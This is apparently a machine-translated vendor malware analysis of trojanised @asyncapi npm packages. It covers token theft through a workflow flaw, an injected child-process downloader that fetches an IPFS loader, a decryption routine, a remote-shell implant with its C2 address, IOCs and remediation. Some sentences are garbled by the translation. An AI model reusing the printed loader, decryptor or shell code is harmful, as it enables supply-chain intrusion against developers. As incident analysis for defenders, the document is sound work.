Wir haben fünf mit Trojanern infizierte @asyncapi Am 14.07.2026 veröffentlichte Pakete. Der Angreifer stahl ein npm-Veröffentlichungstoken, indem er eine pull_request_target Eine Schwachstelle im Workflow des AsyncAPI-Generator-Repositorys wurde ausgenutzt, um einen verschleierten Downloader in normale Laufzeitmodule in vier Paketen einzuschleusen. Beim Importieren eines der betroffenen Pakete wird ein verschlüsselter Node.js-Loader von IPFS abgerufen und auf die Festplatte geschrieben als sync.js, und startet ihn als separaten Prozess.
Die Kette endet in einem dauerhaften Implantat mit einer echten Remote-Shell. Das Payload-Framework identifiziert sich selbst als M-RED-TEAM v6.4 in den eigenen Code-Kommentaren. Das Sammeln von Anmeldedaten und die Selbstverbreitung sind im Code vorhanden, in dieser Version jedoch deaktiviert. Die Shell reicht dem Bediener aus, um Daten zu erfassen und beliebige Befehle auszuführen, auch ohne diese Funktionen.
Die Pakete verzeichnen zusammen etwa 2,9 Millionen Downloads pro Woche, wobei @asyncapi/specs allein machen sie rund 2,7 Millionen aus.
Wie der Angreifer Veröffentlichungsrechte erhielt
Der asyncapi/generator Das Repository verwendete ein GitHub Actions-Workflow mit einem pull_request_target Trigger. Dieser Trigger wird mit Zugriff auf Repository secrets ausgeführt, secrets wenn der Workflow Code aus einem externen Pull-Request auscheckt – eine bekannte „Footgun“.
Ein Mitwirkender hat die Sicherheitslücke entdeckt und am 17. Mai einen Pull-Request zur Behebung (#2092) erstellt. Dieser war fast zwei Monate später, als der Angriff stattfand, noch immer nicht in den Code übernommen worden.
Am 14. Juli um 05:08 Uhr UTC eröffnete der Angreifer 37 Pull-Requests für das Generator-Repository. Einer davon, PR Nr. 2155, enthielt verschleiertes JavaScript, das das npm-Publish-Token an rentry[.]co. Der Workflow wurde um 05:16 UTC abgeschlossen. Mit dem Token in der Hand übertrug der Angreifer bösartige Commits an das weiter um 06:58 UTC einen Branch erstellt und um 07:10 UTC die ersten kompromittierten Pakete veröffentlicht. Anschließend haben sie sich auf asyncapi/spec-json-schemas, wobei zwischen 07:51 und 08:28 UTC 11 Commits durchgeführt wurden, um die Spezifikationsversionen zu veröffentlichen.
Quellenangabe
Bei dem Angriff handelt es sich um drei sich überlappende Signale, die nicht alle auf denselben Ort hinweisen.
Die Technik für den ersten Zugriff (eine PR-Flut, die auf einen pull_request_target Der Arbeitsablauf mit einem „rentry[.]co“-Dead-Drop entspricht Mustern aus der „prt-scan“-Kampagne, die zuvor bei ähnlichen Angriffen zum Diebstahl von GitHub-Actions-Geheimnissen beobachtet wurden.
Das Payload-Framework bezeichnet sich selbst als M-RED-TEAM v6.4 in den Code-Kommentaren der wiederhergestellten Stage-3-Quelldatei. Das ist die direkteste Bezeichnung, die der Code selbst verwendet.
Die Namen der Artefakte und die Konfiguration entsprechen dem Miasma-Branding: Das Build-Ziel lautet miasma-train-p1, die Laufzeitsperre und die Identitätspfade befinden sich unter ~/.config/.miasma/, werden Persistenz-Artefakte wie folgt benannt Miasma-Monitor, und die Spawn-Zertifikate verwenden die Formatzeichenfolge miasma-spawn-cert-v1. Diese überschneiden sich mit den frühere Miasma-Toolkit-Version, allerdings Ein Forscher von SafeDep stellte fest, dass sich die Payloads unterscheiden: Die vorherige Version basierte auf Bun und verfügte über RSA, aktive Weiterleitung und einen destruktiven Deadman; diese Version basiert auf Node und nutzt secp256k1/AES-GCM sowie HTTP-C2, wobei diese Funktionen deaktiviert sind.
Anhand der vorliegenden Beweise lässt sich nicht feststellen, ob der erste Zugriff über den PRT-Scan und die M-RED-TEAM-Nutzlast von einem einzigen Akteur oder von verschiedenen Akteuren stammen. Die Bezeichnung „Miasma“ könnte auf die Wiederverwendung von Code, eine Nachahmung oder eine absichtliche Falschkennzeichnung hindeuten. Eine endgültige Zuordnung wird hier nicht vorgenommen.
Fünf Laufzeitpakete trugen die erste Stufe
Die kompromittierten Veröffentlichungen:
@asyncapi/specs@6.11.2@asyncapi/specs@6.11.2-alpha.1@asyncapi/generator@3.3.1@asyncapi/generator-helpers@1.1.1@asyncapi/generator-components@0.7.1
Der Schadcode befindet sich nicht in einem npm-Lifecycle-Hook. Er wurde in Modulen platziert, die bei normaler Nutzung ausgeführt werden: die Technische Daten Einstiegspunkt, ein Generator Validator, ein Hilfsdienstprogramm und ein Modul zur Fehlerbehandlung von Komponenten. Die Nutzlast wird beim Laden des Moduls ausgeführt, sodass ein einfaches require() reicht aus, um es auszulösen.
In @asyncapi/specs, wird der Downloader den eigentlichen Schema-Exporten vorangestellt:
import { spawn } from 'child_process';
// fs, path, https, os imported above
async function main() {
try {
const child = spawn(
'node',
[
'-e',
`/* obfuscated downloader, ~3 KB, elided */`,
],
{
detached: true,
stdio: 'ignore',
windowsHide: true,
}
);
child.unref();
} catch (error) {
console.error(error.message);
}
}
main();
module.exports = {
schemas: {
'2.0.0': require('./schemas/2.0.0.json'),
// ...through 3.1.0
},
};Der Downloader läuft in einem separaten untergeordneten Prozess. Nach dem Aufruf von child.unref(), wird der übergeordnete Prozess sofort beendet und der Download im Hintergrund fortgesetzt.
Der node -e Die Nutzlast ist verschleiert, aber ihre Zeichenfolgen-Nachschlagetabelle enthält die IPFS-URL und den Namen der abzulegenen Datei im Klartext:
// string table from the inline node -e script, verbatim from the shipped file['ignore','https','share','createWriteStream','finish','existsSync','darwin', 'https://ipfs.io/ipfs/Qmet4fhsAaWMBUxNDfREHwgiyDeSWy4YSYs9wiKUW5jGyf', '6768228QKjgXi','3468092lHTqJi','close','1488507nOBBnt','Library', '2677556fRqDUV','1716959EKWEaH','Local','get','NodeJS','win32','56qmWZQE', 'statusCode','join','error','node','path','10fFCDjZ','.local','10198524EzDDHO', 'child_process','mkdirSync','unlink','pipe','homedir','platform','unref','sync.js','6676191oFXVhK']Der „specs“-Zweig ruft CID ab Qmet4fhsAaWMBUxNDfREHwgiyDeSWy4YSYs9wiKUW5jGyf. Der Zweig der Generator-Familie ruft Folgendes ab: QmQobZSp1wRPrpSEQ56qnyq7ecZh5Bg5k1fnjt4SUwwHb9. Beide schreiben sync.js in ein benutzerspezifisches NodeJS-Datenverzeichnis: ~/Library/Application Support/NodeJS unter macOS, %LOCALAPPDATA%\NodeJS unter Windows, ~/.local/share/NodeJS unter Linux.
Phase 2: Verschlüsselte Loader aus IPFS
Bei den beiden IPFS-Objekten handelt es sich um verschleierte JavaScript-Loader: 8.243.380 Byte (Spezifikationen) und 8.254.481 Byte (Generatorfamilie). Beide leiten über HKDF-SHA256 einen AES-256-GCM-Schlüssel ab, entschlüsseln einen eingebetteten Tresor, kehren eine Rotation von druckbaren ASCII-Zeichen um und werten das Ergebnis aus. Wir haben die Logik in einen nicht ausführbaren Entschlüsseler extrahiert:
const _km = 'rt-file-key-material-v1';
const _mkb = Buffer.from(
'rt-vault-master-key-32b-aaaaaaaa',
'utf8'
); // 32 bytes
function gcmDecrypt(buf, key) {
const iv = buf.slice(0, 12);
const tag = buf.slice(buf.length - 16);
const ct = buf.slice(12, buf.length - 16);
const d = crypto.createDecipheriv('aes-256-gcm', key, iv);
d.setAuthTag(tag);
return Buffer.concat([d.update(ct), d.final()]);
}
// derive per-file key and decrypt stage-3 blob
const fileKey = crypto.hkdfSync(
'sha256',
Buffer.from(_km, 'utf8'),
Buffer.alloc(0),
Buffer.from('rt-file-key', 'utf8'),
32
);
const rotSrc = gcmDecrypt(encryptedBlob, fileKey).toString('utf8');
// reverse the ASCII rotation
const ROT_MIN = 33;
const ROT_RANGE = 94;
const delta = (ROT_RANGE - (4 % ROT_RANGE)) % ROT_RANGE;
const stage3 = [...rotSrc]
.map((ch) => {
const c = ch.charCodeAt(0);
return c >= ROT_MIN && c < ROT_MIN + ROT_RANGE
? String.fromCharCode(
ROT_MIN + ((c - ROT_MIN + delta) % ROT_RANGE)
)
: ch;
})
.join('');Die GCM-Authentifizierungstags sind für beide Builds gültig. Jeder Loader enthält zudem ein sourceBundle Feld, das mit demselben Schlüssel verschlüsselt wurde; es stimmt Byte für Byte mit der wiederhergestellten Stage-3-Datei überein. Die „Baked“-Konfiguration verwendet einen separaten Schlüssel, der abgeleitet wurde aus rt-baked-key und denselben fest programmierten Master.
Die beiden wiederhergestellten Dateien der Stufe 3:
- Build-Daten: 3.088.921 Byte, SHA-256
f873941d1907a97dc6c718fdecf59fd7d91f3f8212da2f7e5314b878b88bdc0b - Generator-Familie: 3.093.085 Byte, SHA-256
9e214f38537e69bf51c7fa1ddd35ae495e9cb897231ec010baf9e4f29407ee9a
Die „Generator-Family“-Version weist einen weiteren Unterschied im Verhalten auf: einen Timer, der den primären C2 nach einem Failover erneut überprüft und bei Wiederherstellung zurückwechselt. Weitere Unterschiede sind generierte überflüssige Deklarationen.
Beide Builds enthalten eine aus zwei Zertifikaten bestehende secp256k1-Spawn-Kette. Beide Signaturen lassen sich verifizieren. Die Kette verhindert nicht die Ausführung dieses Seeds.
Irreführende Konfigurationsfelder
In frühen Berichten wurde dies anhand der Werte der Konfigurationsfelder als „Safe Canary“ bezeichnet. Die von uns wiederhergestellte fest integrierte Konfiguration:
{
"config": {
"safeMode": true,
"c2Server": "http://85.137.53.71:8080",
"shellBlacklist": ["killall"],
"batch": { "defaultStrategy": "CANARY", "canaryPercent": 5 }
},
"target": { "name": "miasma-train-p1", "ecosystem": "npm" },
"actualPersist": false,
"testMode": false,
"toggles": {
"recon": false,
"persist": true,
"propagate": { "npm": false, "pypi": false, "ruby": false, "cargo": false },
"evasion": false,
"metamorphic": false
}
}Keiner der drei Feldwerte hält einer Call-Graph-Analyse stand:
safeMode: true: Der Einstiegspunkt übergibt „config“ direkt an die „boot“-Funktion und ruft diesafeModeValidator.actualPersist: false: Die Boot-Funktion liesttoggles.persist, nichtactualPersist.toggles.persististwahr. Persistenzläufe.canaryPercent: 5: dasBatchDispatchDer Befehl ist nicht implementiert, und kein Pfad zur Opferauswahl liest dieses Feld aus. Er hat keine Auswirkung.
Was das Implantat bewirkt
Beim ersten Start generiert die Payload ein secp256k1-Schlüsselpaar und speichert es unter einem plattformspezifischen Pfad, getarnt als System-Cache-Datei. Sie verwendet ~/.config/.miasma/run/node.lock um doppelte Instanzen zu vermeiden.
Persistenz nach Plattform:
- macOS: fügt ein
nohupBlock zu.zshrc,.bashrc, oder.bash_profile - Windows: schreibt in HKCU
Führen SieWertMiasma-Monitor - Linux: schreibt
~/.config/systemd/user/miasma-monitor.serviceund aktiviert es. DasExecStartEs fehlt ein Shell-Wrapper, sodass die Einheit wahrscheinlich nicht gestartet werden kann, die Dateien jedoch geschrieben werden.
Das Implantat sendet Signale an hxxp://85[.]137[.]53[.]71:8080 etwa alle 30 Sekunden. Die Beacons werden mit dem öffentlichen Schlüssel des Angreifers signiert und verschlüsselt. Selbst wenn Aufklärung deaktiviert, enthält jede Bake geschwärzte Vorschauen von PATH, STARTSEITE, Benutzer, und HOSTNAME, und prüft, ob sich die Konfigurationsdateien von Cursor, Claude und VS Code unter /app.
Befehle werden normalerweise in einem verschlüsselten Umschlag übermittelt. Ist kein verschlüsseltes Bündel vorhanden, greift der Handler auf Klartext zurück. Befehle Array:
async dispatchResponseCommands(resp) {
let commands = [];
if (
this.commandCipher &&
resp.encryptedCommands &&
resp.encryptedCommands.length > 0
) {
for (const env of resp.encryptedCommands) {
try {
commands.push(this.commandCipher.decryptCommand(env));
} catch (e) {
this.sinkError(e);
}
}
} else {
// plaintext fallback, active when cipher absent
commands = resp.commands;
}
for (const cmd of commands) {
await this.handler(cmd);
}
}
Da es sich bei C2 um HTTP handelt, kann ein Angreifer, der sich auf dem Pfad befindet, über diesen Pfad Befehle einschleusen.
Befehl 11 (ShellExec) leitet die Anfrage weiter an child_process.exec(). Der einzige Befehl, der auf der Sperrliste steht, ist killall:
ShellExecutorImpl = class {
constructor(cfg, runner) {
this.blacklist = new Set(
cfg.shellBlacklist
.map(normalizeCmd)
.filter((b) => b.length > 0)
); // shipped config: ["killall"]
this.runner = runner ?? new ExecFileRunner();
}
async exec(req) {
if (!this.isAllowed(req.command)) {
return {
exitCode: 126,
stdout: '',
stderr: '',
}; // DENIED
}
// testMode is false in this seed, so the real shell runs
return new Promise((resolve) => {
import_node_child_process.exec(
[req.command, ...req.args].join(' '),
{
cwd: req.cwd,
timeout: timeoutMs,
maxBuffer: 1 << 20,
windowsHide: true,
},
(err, stdout, stderr) =>
resolve({
exitCode: err?.code ?? 0,
stdout,
stderr,
})
);
});
}
};Dateibefehle (list, get, put) werden in einer fest programmierten Sandbox ausgeführt /sim-fs Pfad. Der Befehl „delete“ ist nicht implementiert. Die Shell kennt keine derartige Einschränkung.
Updates der Nutzdaten stammen aus zwei Quellen: entweder aus einem Betreiberbefehl, der eine neue CID liefert, oder aus einer zweiminütigen Abfrageschleife, die Nostr und Ethereum auf eine höhere Version überprüft. Nostr-Updates werden signaturverifiziert. Ethereum-Einträge werden ohne Signaturprüfung akzeptiert (trustUnsignedBlockchain: true). Eine abgerufene Aktualisierung wird als zufällig angeordnete Datei auf die Festplatte geschrieben .bin/.cache/.dat Datei, die mit Node gestartet wurde und den aktuellen Prozess ersetzen darf.
Was ist im Code enthalten, aber nicht aktiv?
Das Paket enthält einen umfassenden Credential-Harvester, der Cloud-Anmeldedaten, Paketmanager-Token, SSH-/GPG-Schlüssel, Shell-Verläufe, Browser, CI/CD-Systeme, KI-Entwicklertools, Datenbanken, Wallets, Container und Passwortmanager abdeckt. Es kann Gitleaks und HackBrowserData herunterladen, um die Datenerfassung zu unterstützen. Nichts davon wird ausgeführt, weil toggles.recon ist falsch; der Harvester wird beendet, bevor er etwas gesammelt hat. Die Shell kann das gleiche Ergebnis manuell erzielen.
Die Propagationsvektoren für npm, PyPI und Cargo sind vorhanden und implementiert. Alle Propagationsschalter sind auf „false“ gesetzt, der einzige trySpread() Der Aufruf wird durch den Persistenzmodus geschützt (der zurückkehrt, bevor er ihn erreicht), und der Vermehren Der Befehl ist nicht implementiert. Es findet keine Verteilung statt.
Die Mutations-Engine, die Umgehungsprüfungen, das Vergiften von KI-Tools und der Totmannschalter sind alle deaktiviert. Bei der „Wipe“-Implementierung wird eine Markierungsdatei in ~/Dokumente/SIMULATION_WIPE_TRIGGERED.txt anstatt irgendetwas zu löschen.
C2 und die zugehörige Infrastruktur
HTTP auf Port 8080 ist der einzige eigentliche Beacon- und Befehlskanal. Die anderen Protokolle haben engere Aufgabenbereiche:
- Nostr: übermittelt Adressaktualisierungen, signierte Datensätze zu Nutzdatenaktualisierungen und Peer-Multiadressen
- Ethereum: stellt schreibgeschützte Service-Adressen und Aktualisierungsdatensätze bereit
- IPFS: Speichert Nutzdatenobjekte und verschlüsselte Daten
- libp2p / BitTorrent DHT / mDNS: Peer-Erkennung und Gossip-Protokoll; kein Befehls- oder Beacon-Verkehr
Einige generische Upload- und Befehlsmethoden auf den untergeordneten Transportschichten haben in dieser Version keine Wirkung.
Indikatoren für Kompromittierung
Pakete
SHA-256-Hashwert der Paketversion@asyncapi/specs6.11.29b2e65db653ca8575c9b10eefb9a80c6006404812c2ec212bf5675e3c690233b@asyncapi/specs6.11.2-alpha.1d425e4583cc6185d41e95c45eda00550045a5d1919b9a012236a4520d009dbd7@asyncapi/generator3.3.1bfaeb987faa6de2b5a5eb63b1233d055215b09b0349a9394f2175fd7cdf385e4@asyncapi/generator-helpers1.1.134014776d3d3ff11bc4439b02fd7ac0f02a887eb3a052eeafff236e2f6db8ad1@asyncapi/generator-components0.7.1082d733db0687dcd768104972b065d4b58cb1e6043688c6c20fa3702337f36ab
Netzwerk
- C2:
85[.]137[.]53[.]71:8080, hochladen::8081, Vollmachtsverwaltung::8091 - RIPE-Block
85.137.53.0/24, ObjektVSYS-AMS, AS43641 - Ethereum-Vertrag
0x12c37A86a0Ed0beBe5d1d6a43E42f07860eAc710, Ketten-ID 1 - Nostr berichtet:
wss://relay.damus.io,wss://relay.nostr.com/ - DHT-Bootstrap:
router.bittorrent.com:6881,dht.transmissionbt.com:6881
Host
- Drop:
sync.jsim benutzerspezifischen NodeJS-Datenverzeichnis (Pfade siehe oben) - Schloss:
~/.config/.miasma/run/node.lock - macOS-Identität:
~/Library/Application Support/com.apple.spotlight/index-v2.cache - Linux-Identität:
~/.cache/mesa_shader_cache/gl_cache.bin - Windows-Identität:
%HOME%\AppData\Roaming\Microsoft\CryptnetUrlCache\Content\msrt.dat - Persistenz unter Linux:
~/.config/systemd/user/miasma-monitor.service - Wert im Windows-Befehlsfenster:
Miasma-Monitor
Krypto
- Öffentlicher Schlüssel „secp256k1“ des Angreifers:
0432fa4ba871877d94081fe83323fa24dfa1491e9de8725cbab7b734de9e9be3b233ef6742fd6264437c9532223d687b05fa540b70af6a516b8539af84d0eeb48e
Was jetzt zu tun ist
Herabstufung auf @asyncapi/specs@6.11.1, @asyncapi/generator@3.3.0, @asyncapi/generator-helpers@1.1.0, und @asyncapi/generator-components@0.7.0. Entfernen Sie die fünf kompromittierten Versionen aus Manifesten, Sperrdateien, Caches, internen Spiegeln und Build-Images. Suchen Sie nach Systemen, die importiert die betroffenen Module, nicht nur die Systeme, auf denen das Paket installiert wurde, da das Implantat auf require().
Bei jedem verdächtigen Host: Isolieren Sie diesen zunächst und sichern Sie den aktuellen Zustand. Suchen Sie nach den oben aufgeführten Pfaden für „Drop“, „Lock“, „Identity“ und „Persistence“ sowie nach ungewöhnlichen, vom Hauptprozess getrennten Node-Prozessen. Überprüfen Sie, ob Verbindungen zu den C2-Ports bestehen und ob Node-Aktivitäten im Zusammenhang mit IPFS, Nostr, Ethereum-RPC, DHT oder mDNS vorliegen.
Behandeln Sie Anmeldedaten, auf die ein betroffener Entwicklerrechner oder Build-Host Zugriff hat, so, als wären sie über Shell-Befehle potenziell offengelegt worden. Ersetzen Sie npm-Token, Zugriffsdaten für die Quellcodeverwaltung, Cloud-Anmeldedaten, secrets, SSH-Schlüssel, Signaturschlüssel und Browsersitzungen von einem sauberen Rechner aus. Stellen Sie kompromittierte Hosts wieder her.
Der @asyncapi/specs@6.11.2-alpha.1 Das Tarball kann trotz fehlender Einträge in den Registry-Metadaten weiterhin über die direkte URL heruntergeladen werden. Es muss aus dem Backend-Speicher und dem CDN gelöscht werden.
Wie Aikido dies erkennt
Wenn Sie Aikido , überprüfen Sie Ihren zentralen Feed und filtern Sie nach Malware-Problemen. Alle fünf kompromittierten Versionen werden als kritisches Problem mit einer Schwere von 100/100 angezeigt. Falls Sie noch kein Konto haben, erstellen Sie eines und verbinden Sie Ihre Repos – die Malware-Überwachung ist im kostenlosen Tarif enthalten, eine Kreditkarte ist nicht erforderlich.
Aikido Protection bietet Ihnen einen Überblick über alle auf den Geräten Ihres Teams installierten Pakete, einschließlich Bibliotheken, IDE-Plugins und Build-Abhängigkeiten. Aikido Chain (Open Source) lässt sich in Ihren bestehenden Workflow integrieren und überprüft Pakete anhand von Aikido , bevor sie von npm, yarn oder pnpm installiert werden.

